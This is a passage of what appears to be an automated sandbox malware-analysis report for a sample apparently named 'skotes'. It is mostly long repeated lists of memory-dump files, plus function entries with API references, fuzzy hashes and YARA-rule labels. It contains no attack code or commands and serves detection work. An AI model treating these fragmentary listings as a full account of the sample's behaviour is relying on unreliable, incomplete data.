Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: ea149e462c10a78b0212eb220c0226687c8e7f1619eb1fdfbd13da2646e7fa53
Instruction ID: 4ab51560d068e0e226b90afae6c585126f6773e9e4ce400514f273cd109eb720
Opcode Fuzzy Hash: ea149e462c10a78b0212eb220c0226687c8e7f1619eb1fdfbd13da2646e7fa53
Instruction Fuzzy Hash: EE514770E402089BDB28EB68DD4D7EDB775EB55310F508299E81DA72C1EF749E808B91

Function 001A7124 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,001A705B,?,?,00000000,00000000), ref: 001A7166

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: 708a4255f55c42046d5c2272865d4e8bb9a954108968b0502385286e429b69e9
Instruction ID: 67f8548f415103517b014802e047a76d73709e74a467dd4d5f03927908628cbb
Opcode Fuzzy Hash: 708a4255f55c42046d5c2272865d4e8bb9a954108968b0502385286e429b69e9
Instruction Fuzzy Hash: CD112A7690410DABDB10DEA4CC84EDFB7FCAF19310F605262E915E2080EB70EB49CBA1

Function 001AAC53 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 001AAC8D

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: f366097c933b9c80b91b2cfee269ec633b5f18ba9a602cc884d7d1c519578e9c
Instruction ID: 54870890ab9448cf6b7d3d0af7499d1af74efb2039bf1d000f344246ec7dbd76
Opcode Fuzzy Hash: f366097c933b9c80b91b2cfee269ec633b5f18ba9a602cc884d7d1c519578e9c
Instruction Fuzzy Hash: 53114575A0420AAFCB05DF58E94199A7BF9EF48304F004069F808AB211E730EE25CBA5

Function 001AB04B Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,5D7CF112,?,?,0018D3FC,5D7CF112,?,00187A8B,?,?,?,?,?,?,00177465,?), ref: 001AB07E

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5bb4ab6cb8cc41cc0ff0022acde69adec18c14f089cc2d38a40f07588d03a033
Instruction ID: e52fc9cf4becc10f821e74e58803240ce4aa8cc0a84504a6138d353af370f658
Opcode Fuzzy Hash: 5bb4ab6cb8cc41cc0ff0022acde69adec18c14f089cc2d38a40f07588d03a033
Instruction Fuzzy Hash: A3E06D3D14A6A696EA3232B58E81B6BB668DF533E0F161211FD2496192EB60DD8081E0

Function 001B1775 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,001B1B65,?,?,00000000,?,001B1B65,00000000,0000000C), ref: 001B1792

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 09c3fb550292a33dfc75521b488a3c89942e49cf1988ccccdecaafe0face417d
Instruction ID: ecaaec14549be321c892ea356dc29b5c781df49600f3e6b2db8461e1b187eeab
Opcode Fuzzy Hash: 09c3fb550292a33dfc75521b488a3c89942e49cf1988ccccdecaafe0face417d
Instruction Fuzzy Hash: 5DD0923214024DBBDF129E84DC06EDA7BAAFB4C714F014150FE5866120C732E871EB94

Function 05110D40 Relevance: 1.4, Strings: 1, Instructions: 143COMMON

Download Yara Rule

Strings

N!lv, xrefs: 05110D14

Memory Dump Source

Source File: 00000005.00000002.3360366863.0000000005110000.00000040.00001000.00020000.00000000.sdmp, Offset: 05110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5110000_skotes.jbxd

Similarity

API ID:
String ID: N!lv
API String ID: 0-321793127
Opcode ID: f63cfe3ed1a0f376ce8d1e07792621971c3d5c3b255e7e13bff801c4145cede0
Instruction ID: 95d412175bf765bf7f86adb4149f88a088aed398b41b6144f1c665d709b9767b
Opcode Fuzzy Hash: f63cfe3ed1a0f376ce8d1e07792621971c3d5c3b255e7e13bff801c4145cede0
Instruction Fuzzy Hash: 002119EF64D0107E7552C2862B28AFB6B7EE5CA770331C8BBF806C5402E3D44A8E6135

Function 05110D66 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3360366863.0000000005110000.00000040.00001000.00020000.00000000.sdmp, Offset: 05110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5110000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a488f139de71fe28ed355facd61e32d8d1b4793608dc8286819b8aea630d9a4d
Instruction ID: 57aaae3891edc07e0e6d8accefccdcfdda4f0cc53cdfae44a088031acddef738
Opcode Fuzzy Hash: a488f139de71fe28ed355facd61e32d8d1b4793608dc8286819b8aea630d9a4d
Instruction Fuzzy Hash: 1E21D5EF68D1107E7556C1822B289FBAB6EE5DA770331C87BF806C1402E3841E8E6136

Function 05110D2E Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3360366863.0000000005110000.00000040.00001000.00020000.00000000.sdmp, Offset: 05110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5110000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16b2c45d586c78940bd9974e32bff3bfb38f461ff286f18c2bfd461823612e3c
Instruction ID: 4553272769b8e958583720055e07e328c5b41048726d9242e6df786cea970177
Opcode Fuzzy Hash: 16b2c45d586c78940bd9974e32bff3bfb38f461ff286f18c2bfd461823612e3c
Instruction Fuzzy Hash: 561183EF68D1107D7155D1862B18EFBA76EE0CA770331C87BF806D5406E3D45A8E2136

Function 05110D9D Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3360366863.0000000005110000.00000040.00001000.00020000.00000000.sdmp, Offset: 05110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5110000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb00524fb62f0c3f9b17249daf7fc975fe6502ffe64008cc15102440e5bc5f69
Instruction ID: 3dbaca2984895f7674cbee5764cef3b7e1008a1f2d8a5fd23b9c91676a4f09d3
Opcode Fuzzy Hash: bb00524fb62f0c3f9b17249daf7fc975fe6502ffe64008cc15102440e5bc5f69
Instruction Fuzzy Hash: 8AF0A8EF54D0107D711291823B289FAAB7EE1C6A71331C47BF802D1402E3D44B5D2136

Function 05110DD9 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3360366863.0000000005110000.00000040.00001000.00020000.00000000.sdmp, Offset: 05110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5110000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1d26921443f8e38b247ea11d69867670944e2ad68a54d5ab6fcd6bf3f157e8b
Instruction ID: fa72119a851b5e9feb4954b3245b85be2a139201cea3089a0017bd57334a4ed0
Opcode Fuzzy Hash: e1d26921443f8e38b247ea11d69867670944e2ad68a54d5ab6fcd6bf3f157e8b
Instruction Fuzzy Hash: 91F054EB1890247D7051D1823B18AFBA77EE0C6670331C47BF802D0406E2C80B5E2036

Non-executed Functions

Function 00190E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00190F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00190F62

Part of subcall function 0019265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 00192750

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00190FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00190FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 0019103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 0019106B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 001910C1

Strings

(, xrefs: 00190F22

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

